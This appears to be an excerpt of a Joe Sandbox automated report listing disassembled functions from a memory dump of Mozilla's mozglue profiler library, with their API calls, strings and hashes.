Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

Part of subcall function 6C624290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C663EBD,6C663EBD,00000000), ref: 6C6242A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6818C7
name, xrefs: 6C681939
Details, xrefs: 6C681925

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: b711dbace1ac9e372ae4c79d535f5467525b5082b5149b43d3df4f31c18311ef
Instruction ID: 2fea7fc410c1b06fe1c6fa717cc793f8be8a785ad857d211815d7ff273b48353
Opcode Fuzzy Hash: b711dbace1ac9e372ae4c79d535f5467525b5082b5149b43d3df4f31c18311ef
Instruction Fuzzy Hash: 8171E470A003069FCB04DF69D4906AABBB1FF46304F504669D8154BB41DB70AAA9CBEA

Function 6C64D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

EnterCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D4F2
LeaveCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D50B

Part of subcall function 6C62CFE0: EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C62CFF6
Part of subcall function 6C62CFE0: LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C62D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D52E
EnterCriticalSection.KERNEL32(6C6AE7DC), ref: 6C64D690
LeaveCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D751

Strings

MOZ_CRASH(), xrefs: 6C64D4BB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 17d187299e5d93f28c95508fddf779c890cdb2eb7203e71eaa8566e97d1c9270
Instruction ID: 512cf2c655700aab71270234cbaa16825784720c8d4f165ebe765085a97edeeb
Opcode Fuzzy Hash: 17d187299e5d93f28c95508fddf779c890cdb2eb7203e71eaa8566e97d1c9270
Instruction Fuzzy Hash: 4C51B071E047018FD368CF69C09465AB7E1EF89704F64C92ED59AC7B84DB70E850CB9A

Function 6C674630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C674721

Strings

profiler-paused, xrefs: 6C6746E4
-%llu, xrefs: 6C674733
., xrefs: 6C67476A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: da746e007e761dd95c8c6fe93c4b0d381d76bdbe37dbd4add7c3c11a287a909d
Instruction ID: b30adfdcbf550c916580158e8e260c2718beb4f81e162ab6b0346b82877ec6ea
Opcode Fuzzy Hash: da746e007e761dd95c8c6fe93c4b0d381d76bdbe37dbd4add7c3c11a287a909d
Instruction Fuzzy Hash: F9416871E046089BCB08DF79D88516EBBE5EF86744F108B3EE84567741EB7098048B5A

Function 6C699830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C69985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C69987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6998DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6998D9

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 57d271f16ad446ece1e95b0df7e060c71584b00abd68fa27ff30c311813ee7cb
Instruction ID: 4bccefcb4baa30bfcce4fabe76c259cdbe625cc7d8e8cf1d1bb5d75be8c06ab2
Opcode Fuzzy Hash: 57d271f16ad446ece1e95b0df7e060c71584b00abd68fa27ff30c311813ee7cb
Instruction Fuzzy Hash: 0B313871E001086FDB14AF59DC445EF77B8DF89318F50842DEA0A9BB40CB3169148BED

Function 6C6746E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C674721

Part of subcall function 6C624410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C663EBD,00000017,?,00000000,?,6C663EBD,?,?,6C6242D2), ref: 6C624444

Strings

profiler-paused, xrefs: 6C6746E4
-%llu, xrefs: 6C674733
., xrefs: 6C67476A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: dcfb81992c882470cf9263a8e27ddfa89ba478852237f7f6a9e736e5491c37c6
Instruction ID: f05aca81d7a34e2204540ba3d51d2f88abeff0c83dda07b4c0b53e31e94b6d16
Opcode Fuzzy Hash: dcfb81992c882470cf9263a8e27ddfa89ba478852237f7f6a9e736e5491c37c6
Instruction Fuzzy Hash: 46314B71F042089BCB0CCF6DD8852ADBBE6DB89314F15863EE8059B741E7B498048FA8

Function 6C67B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C624290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C663EBD,6C663EBD,00000000), ref: 6C6242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C67B127), ref: 6C67B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C67B4E4

Strings

pid:, xrefs: 6C67B4DE

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: af63b21fd4366c45fb2fbf792304897c1155dbf7f7e8f4fc3625ebbfa2122345
Instruction ID: 92b2966495739f4b2e53aaf6e6c3c44b108ac433c552c5a8200cf441795b01f8
Opcode Fuzzy Hash: af63b21fd4366c45fb2fbf792304897c1155dbf7f7e8f4fc3625ebbfa2122345
Instruction Fuzzy Hash: EB31F731A01208DFDB20DFAAD880AEEB775FF85318F580929D40167A45D731A855CFF9

Function 6C63BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C687A3F), ref: 6C63BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C687A3F), ref: 6C63BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C687A3F), ref: 6C63BF7E

Strings

il, xrefs: 6C63BF84

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: il
API String ID: 4279176481-1682324105
Opcode ID: 6838a298f9408a20fe0b398ad96011e47ab2fa8d82dcd972163017682481f58d
Instruction ID: b45639280eb85eeb775516b172b924240e49abc11e1c2c5589f11534d96b335f
Opcode Fuzzy Hash: 6838a298f9408a20fe0b398ad96011e47ab2fa8d82dcd972163017682481f58d
Instruction Fuzzy Hash: 6311BF792006058FC729CF5CD69992AFBF8FB5A308315886DE98A8B751C731B800CB94

Function 6C66E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66E577
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66E584
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C66E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C66E826, 6C66E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C66E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C66E722, 6C66E750, 6C66E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C66E5A1, 6C66E5CC, 6C66E5FF, 6C66E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C66E655

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 0531b5551796971f0548ce094f10e5da9277dd51386c6776e685c586e3b7763c
Instruction ID: ca08fcf4ad20e6aea8c55d2f48fe925c38a48ba05c722f9bd48ac340b5d8f619
Opcode Fuzzy Hash: 0531b5551796971f0548ce094f10e5da9277dd51386c6776e685c586e3b7763c
Instruction Fuzzy Hash: 8D118E31604258DFCB009F9AD888A6DBBF4FFC9328F410519E84657A51D770A806CF9F

Function 6C670C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C670CD5

Part of subcall function 6C65F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C65F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C670D40
free.MOZGLUE ref: 6C670DCB

Part of subcall function 6C645E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
Part of subcall function 6C645E90: memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
Part of subcall function 6C645E90: LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2

free.MOZGLUE ref: 6C670DDD
free.MOZGLUE ref: 6C670DF2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 6599d5c0ccef59abc37412aa11fb6ea0983b09dd1f7b56e4b7f7cbaa27bfa843
Instruction ID: 46534f0817a92c36d194abe85cb173a6b37c925edf842d87b1825a795eff6db4
Opcode Fuzzy Hash: 6599d5c0ccef59abc37412aa11fb6ea0983b09dd1f7b56e4b7f7cbaa27bfa843
Instruction Fuzzy Hash: A04139719187809BD320CF29C18079EFBE5BFC9714F508A2EE8D887710D7709845CBAA

Function 6C660800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE7DC), ref: 6C660838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C66084C
EnterCriticalSection.KERNEL32(?), ref: 6C6608AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6608BD
LeaveCriticalSection.KERNEL32(6C6AE7DC), ref: 6C6608D5

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 77edeb5f0b26b12d8041ada2eff4cbda25ca2f7368110125de949b31879c3b12
Instruction ID: 335732c58acb5c8fde3df5fc8947572e96676625477e63a1796c9d011507eace
Opcode Fuzzy Hash: 77edeb5f0b26b12d8041ada2eff4cbda25ca2f7368110125de949b31879c3b12
Instruction Fuzzy Hash: 10219D31A0120E9BEF04CEA69884BAE73B9AF85708F50053CD509A7B41DB31A8158BDD

Function 6C67CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67CDA4

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

Part of subcall function 6C67D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C67CDBA,00100000,?,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67D158
Part of subcall function 6C67D130: InitializeConditionVariable.KERNEL32(00000098,?,6C67CDBA,00100000,?,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67CDC4

Part of subcall function 6C677480: ReleaseSRWLockExclusive.KERNEL32(?,6C6815FC,?,?,?,?,6C6815FC,?), ref: 6C6774EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67CECC

Part of subcall function 6C63CA10: mozalloc_abort.MOZGLUE(?), ref: 6C63CAA2

Part of subcall function 6C66CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C67CEEA,?,?,?,?,00000000,?,6C66DA31,00100000,?,?,00000000), ref: 6C66CB57
Part of subcall function 6C66CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C66CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C67CEEA,?,?), ref: 6C66CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C66DA31,00100000,?,?,00000000,?), ref: 6C67D058

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 4c84d0fe351359ea503b33a9c7568700c006c5d572813f560e26752f1fafd9b6
Instruction ID: b50123c242580faf6452699309a7bb36d8f8b84aea24e7bd274282e7f6de26a2
Opcode Fuzzy Hash: 4c84d0fe351359ea503b33a9c7568700c006c5d572813f560e26752f1fafd9b6
Instruction Fuzzy Hash: 1AD16F71A04B069FD718CF28C580B99F7E1BF89308F018A2DD9598B712EB31A965CB95

Function 6C631720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6317B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6318EE
free.MOZGLUE(?), ref: 6C631911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63194C

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 86c0ebe65c1a08a2727355fa8475ed852ebb950b2f1bdf8057b8abcb7d9826eb
Instruction ID: c550a4a07a65cdff41575a738b3d5070b439dea5f0c82a2c3618b5d92d73a58b
Opcode Fuzzy Hash: 86c0ebe65c1a08a2727355fa8475ed852ebb950b2f1bdf8057b8abcb7d9826eb
Instruction Fuzzy Hash: F781C370A102159FCB08CF68D8D49EEBBB1FF89314F04652DE819AB750D730E855CBA9

Function 6C645C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C645D40
EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C645D67
__aulldiv.LIBCMT ref: 6C645DB4
LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C645DED

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: dfe252ae4b3f6ab4e99561f841e2999b84abe0be2f113baa0d71ce815fc4ada8
Instruction ID: 35fb5ad9db42cba2d183d2868829bdcc69e169bac660b94b9374cc719e17277c
Opcode Fuzzy Hash: dfe252ae4b3f6ab4e99561f841e2999b84abe0be2f113baa0d71ce815fc4ada8
Instruction Fuzzy Hash: 64515E71E001298FDF08CFA9C894AAEBBF2FF85304F198619D811A7760C7317945CB99

Function 6C62CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C62CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C62CF4E

Strings

0, xrefs: 6C62CF30

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 2035b2720bebe789be006863abbce618be5974cc4c23f395afdf1c670de17a24
Instruction ID: 6e10ffe7ff09c5a855f44c241d9fa00219308ae2965afddc66a6814d4ef7a2b2
Opcode Fuzzy Hash: 2035b2720bebe789be006863abbce618be5974cc4c23f395afdf1c670de17a24
Instruction Fuzzy Hash: FF511275A002568FCB00CF18C890AAAFBB5EF99300F29859DD85A5F752D735ED06CBE0

Function 6C6877D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6877FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C687829

Part of subcall function 6C65CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6231A7), ref: 6C65CC45
Part of subcall function 6C65CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6231A7), ref: 6C65CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C68789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6878CF

Part of subcall function 6C624DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C624E5A
Part of subcall function 6C624DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C624E97

Part of subcall function 6C624290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C663EBD,6C663EBD,00000000), ref: 6C6242A9

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f87df7874564d995dafc991721203e83aedbfc3df9358649395bc82bf639c2f0
Instruction ID: 1a3a3688c511597ad0ac3759fa990c6ec510cae768b8b61cf563959174e4579f
Opcode Fuzzy Hash: f87df7874564d995dafc991721203e83aedbfc3df9358649395bc82bf639c2f0
Instruction Fuzzy Hash: D441CD71A057069BD300DF29C48056AFBF4FFCA254F604A2EE4A987680DB70E559CBDA

Function 6C666470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6682BC,?,?), ref: 6C66649B

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6664A9

